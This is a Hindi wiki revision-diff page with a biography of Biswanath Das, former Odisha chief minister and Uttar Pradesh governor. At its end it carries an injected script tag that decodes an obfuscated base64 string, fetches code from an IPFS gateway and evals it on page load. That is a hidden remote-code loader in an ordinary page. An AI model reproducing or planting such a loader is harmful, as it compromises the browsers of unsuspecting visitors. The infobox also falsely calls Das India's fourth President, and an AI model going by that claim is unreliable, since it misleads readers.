"विश्वनाथ दास" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 56: पंक्ति 56:
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{ओडीशा के मुख्यमंत्री}}{{उत्तर प्रदेश के राज्यपाल}}{{स्वतंत्रता सेनानी}}
+
{{ओडिशा के मुख्यमंत्री}}{{उत्तर प्रदेश के राज्यपाल}}{{स्वतंत्रता सेनानी}}
 
[[Category:उत्तर प्रदेश के राज्यपाल]][[Category:राज्यपाल]][[Category:स्वतन्त्रता सेनानी]][[Category:उड़ीसा के मुख्यमंत्री]][[Category:उड़ीसा राज्य]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:राजनीतिज्ञ]]
 
[[Category:उत्तर प्रदेश के राज्यपाल]][[Category:राज्यपाल]][[Category:स्वतन्त्रता सेनानी]][[Category:उड़ीसा के मुख्यमंत्री]][[Category:उड़ीसा राज्य]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:राजनीतिज्ञ]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

12:31, 1 फ़रवरी 2017 का अवतरण

विश्वनाथ दास
विश्वनाथ दास
पूरा नाम विश्वनाथ दास
जन्म 8 मार्च 1889
जन्म भूमि गंजम ज़िला, उड़ीसा
मृत्यु 2 जून 1984
मृत्यु स्थान कटक, उड़ीसा
नागरिकता भारतीय
प्रसिद्धि भारत के चौथे राष्ट्रपति
पार्टी कांग्रेस
पद राज्यपाल (उत्तर प्रदेश); मुख्यमंत्री (उड़ीसा)
कार्य काल 16 अप्रैल 1962 से 30 अप्रैल 1967 तक
विद्यालय रैवेनषा कॉलेज, कटक
अन्य जानकारी विश्वनाथ दास 1937 से 1939 तक उड़ीसा के मुख्यमंत्री रहे। युद्ध के मुद्दे पर उन्होंने मुख्यमंत्री पद से त्यागपत्र दे दिया।
अद्यतन‎

विश्वनाथ दास या बिश्वनाथ दास (अंग्रेज़ी: Biswanath Das, जन्म-8 मार्च 1889, गंजम ज़िला, उड़ीसा; मृत्यु-2 जून 1984, कटक, उड़ीसा) भारतीय राजनीतिज्ञ थे। ये ब्रिटिश भारत के उड़ीसा प्रान्त के मुख्यमंत्री रहे।


  • इनकी प्रारम्भिक शिक्षा कटक के रैवेनषा कॉलेज में हुई तथा कोलकाता के लाॅ कॉलेज से इन्होंने वकालात की डिग्री प्राप्त की।
  • 1919-1921 के मध्य उन्होंने गंजम ज़िले में वकालत की।
  • 1921 में उन्होंने कांग्रेस में प्रवेश किया।
  • 1920 में उन्होंने मद्रास प्रेसीडेन्सी में किसान संघ की स्थापना की।
  • 1920-1929 तक वे मद्रास कौन्सिल के सदस्य रहे।
  • 1929 में उन्होंने नमक आन्दोलन के दौरान अपनी सदस्यता से त्यागपत्र दे दिया।
  • स्वतंत्रता आंदोलन के दौरान वे कई बार जेल गये।
  • 1936 में वे उड़ीसा के विधानसभा के सदस्य निर्वाचित हुए।
  • 1937-1939 तक वे उड़ीसा के मुख्यमंत्री रहे। युद्ध के मुद्दे पर उन्होंने मुख्यमंत्री पद से त्यागपत्र दे दिया।
  • 1947-1951 तक वे संविधान सभा के सदस्य रहे।
  • कई वर्षों तक वे अखिल भारतीय कांग्रेस कमेटी के सदस्य रहे।
  • वे तीन बार उत्कल प्रदेश कांग्रेस कमेटी के अध्यक्ष निर्वाचित हुए।
  • 16 अप्रैल 1962 में उन्हें उत्तर प्रदेश का राज्यपाल नियुक्त किया गया और वे इस पद पर 30 अप्रैल 1967 तक रहे।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. श्री बिष्वनाथ दास (हिंदी) upgovernor.gov.in। अभिगमन तिथि: 05 अक्टूबर, 2016।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>